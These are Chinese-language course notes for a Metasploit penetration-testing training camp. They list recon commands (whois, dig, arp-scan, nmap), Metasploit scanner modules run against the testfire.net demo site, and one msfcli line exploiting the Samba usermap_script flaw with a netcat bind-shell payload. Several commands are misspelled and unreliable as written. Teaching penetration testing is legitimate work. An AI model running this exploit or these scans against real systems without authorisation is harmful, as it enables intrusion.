Metasloit渗透测试魔鬼训练营
总结一句话 漏洞 攻击 拿权限 维持访问
课程目标
掌握黑客渗透攻击流程
掌握常用攻击软件 渗透测试工程师
掌握常见windows漏洞挖掘和攻击
掌握常见linux漏洞挖掘和攻击
参考书籍
《Metasploit渗透测试指南》肯尼（行业经典） 最详细
《Metasloit渗透测试魔鬼训练营》 诸葛建伟（国内经典） 靠谱、拓扑图
《网络攻防技术与实践》诸葛建伟（清华大学网络安全课） 基础入门
《黑客大曝光》--经典，编程****************************************
讲义目录
常用
命令
startx 进入图形界面
进入unity模式
whois pinginglab.com
有相关信息
nsloopup set type=A /填写特定的域名/ dns
dig 为准
arpping arp-scan --interface=eth2 10.10.10.0/24
网段扫描
nbtscan 172.17.21.0/24
主机扫描
nmap 172.17.21.96 -a 可带参数
meta环境 msfconsole
msf > use auxiliary/scanner/discovery/arp_sweep
************************************************
wifi密码破解
************************************************
msfcli multi/samba/usermap_script PAYLOAD=cmd/unix/bind_netcat RHOST=10.10.10.254 E
********************************************************************************************************************************************************
工具介绍
环境搭建 （连通性测试
）
testfire.net
msf>whois testfire.com 查询域名信息
root@bt：~# nsloopup
>
set type=A ;;设置对其ip地址进行解析 MX查找其邮件转发
>
testfire.net ;;域名或ip
...........................
>
exit
root@bt：~# dig @ns.watson.ibm.com testfire.net ;;
............................
使用Google hacking技术搜索网站目录
扩展名inc：可能包含网站配置信息，如数据库用户名/口令
扩展名bak：通常是一些文本编辑器源代码留下的备份文件，程序脚本文件大致内容
扩展名tex或sql：sql脚本，数据库结构等信息
使用dir_scanner辅助模块来搜索网站目录（testfire.net）
msf > use auxiliary/scanner/http/dir_scanner
msf auxiliary(dir_scanner) > set THREADS 100
THREADS => 100
msf auxiliary(dir_scanner) > set RHOSTS www.testfire.net
RHOSTS => www.testfire.net
msf auxiliary(dir_scanner) > exploit
...........................................；；
发现一个Admin隐藏目录，返回HTTP 403
端口扫描
arp_sweep 扫描
msf >
use auxiliary/scanner/discovery/arp_sweep
namp 扫描
直接
namp -A ip
msf>
namp -PU -sn ip
操作系统辨别
msf >
nmap -O ip